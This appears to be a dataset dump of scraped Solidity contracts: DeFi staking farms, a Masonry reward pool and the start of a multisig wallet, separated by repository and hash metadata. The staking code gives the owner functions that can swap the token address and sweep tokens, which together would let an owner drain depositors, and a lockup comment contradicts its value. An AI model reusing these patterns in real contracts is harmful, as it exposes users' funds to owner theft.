uint256 pendingDivs = stakedAmount.mul(24286293).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 16 days && block.timestamp <= farmEnableat + 17 days) {
uint256 pendingDivs = stakedAmount.mul(22009453).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 17 days && block.timestamp <= farmEnableat + 18 days) {
uint256 pendingDivs = stakedAmount.mul(20491560).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 18 days && block.timestamp <= farmEnableat + 19 days) {
uint256 pendingDivs = stakedAmount.mul(18594193).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 19 days && block.timestamp <= farmEnableat + 20 days) {
uint256 pendingDivs = stakedAmount.mul(17455773).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 20 days && block.timestamp <= farmEnableat + 21 days) {
uint256 pendingDivs = stakedAmount.mul(15937880).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 21 days && block.timestamp <= farmEnableat + 22 days) {
uint256 pendingDivs = stakedAmount.mul(14799460).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 22 days && block.timestamp <= farmEnableat + 23 days) {
uint256 pendingDivs = stakedAmount.mul(13281567).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 23 days && block.timestamp <= farmEnableat + 24 days) {
uint256 pendingDivs = stakedAmount.mul(12522620).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 24 days && block.timestamp <= farmEnableat + 25 days) {
uint256 pendingDivs = stakedAmount.mul(11763673).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 25 days && block.timestamp <= farmEnableat + 26 days) {
uint256 pendingDivs = stakedAmount.mul(10625253).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 26 days && block.timestamp <= farmEnableat + 27 days) {
uint256 pendingDivs = stakedAmount.mul(9486833).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 27 days && block.timestamp <= farmEnableat + 28 days) {
uint256 pendingDivs = stakedAmount.mul(8727887).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 28 days && block.timestamp <= farmEnableat + 29 days) {
uint256 pendingDivs = stakedAmount.mul(7968940).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 29 days && block.timestamp <= farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(7589467).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
} else if (block.timestamp > farmEnableat + 30 days) {
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(farmEnabled, "Farming is not enabled");
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function enableFarming() external onlyOwner() {
farmEnabled = true;
farmEnableat = block.timestamp;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != LPtokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 255,145 | 12,436 |
894a2b1af5114603fa11603d6c87274cbdba49e21ea02bdc6acde953a72075c7
| 30,662 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/4d/4dF56827025594ED34ce985C34f6c7fBA155FaD7_Masonry.sol
| 4,860 | 18,649 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getGemPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public gem;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _gem,
IERC20 _share,
ITreasury _treasury) public notInitialized {
gem = _gem;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 4; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 2; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getGemPrice() external view returns (uint256) {
return treasury.getGemPrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
gem.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
gem.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(gem), "gem");
require(address(_token) != address(share), "sgem");
_token.safeTransfer(_to, _amount);
}
}
| 75,813 | 12,437 |
c649a43306acd53584f0c21eb8948ae7d9d816bc3b21c3fe0e8c9468b97ff62f
| 17,375 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x028883ec1f95c9179f835A1b40BA768C208eb912/contract.sol
| 3,165 | 11,775 |
pragma solidity 0.8.1;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract Stake_Bitfolio is Ownable {
using SafeMath for uint256;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint256 amount);
// Bitfolio token contract address
address public tokenAddress = 0x629D8c8Fb4402b8eAD88a6D5A08F06CA623E53EF;
// reward rate 350 % per year
uint256 public rewardRate = 35000;
uint256 public rewardInterval = 365 days;
// staking fee 0.25%
uint256 public stakingFeeRate = 25;
// unstaking fee 0.25%
uint256 public unstakingFeeRate = 25;
// unstaking possible after 3 days
uint256 public cliffTime = 3 days;
uint256 public totalClaimedRewards = 0;
uint256 public totalStakeAmount;
uint256 public stakingAndDaoTokens = 100000000e18;
EnumerableSet.AddressSet private holders;
mapping (address => uint256) public depositedTokens;
mapping (address => uint256) public stakingTime;
mapping (address => uint256) public lastClaimedTime;
mapping (address => uint256) public totalEarnedTokens;
function updateAccount(address account) private {
uint256 pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
}
function getPendingDivs(address _holder) public view returns (uint256) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint256 timeDiff = block.timestamp.sub(lastClaimedTime[_holder]);
uint256 stakedAmount = depositedTokens[_holder];
uint256 pendingDivs = stakedAmount.mul(rewardRate).mul(timeDiff).div(rewardInterval).div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint256) {
return holders.length();
}
function deposit(uint256 amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint256 fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint256 amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
totalStakeAmount = totalStakeAmount.add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint256 amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(block.timestamp.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint256 fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint256 amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalStakeAmount = totalStakeAmount.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setStakingFeeRate(uint256 _Fee) public onlyOwner {
stakingFeeRate = _Fee;
}
function setUnstakingFeeRate(uint256 _Fee) public onlyOwner {
unstakingFeeRate = _Fee;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != tokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 249,670 | 12,438 |
791ed0aad490ba88a85888ce11ad954c3b29797ed79a7b789d60debe4ce6b30b
| 13,128 |
.sol
|
Solidity
| false |
312514838
|
ccTokens/Smart-Contract
|
c23dd16e43dd5b7fec7e3ecb5f53cffd27d42271
|
solc/MultiSigWallet.sol
| 2,873 | 12,818 |
pragma solidity ^0.7.0;
pragma experimental SMTChecker;
//SPDX-License-Identifier: lgplv3
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author https://github.com/gnosis/MultiSigWallet
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping(uint => Transaction) public transactions;
mapping(uint => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != (address)(0));
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != (address)(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
fallback() external payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
receive() external payable
{
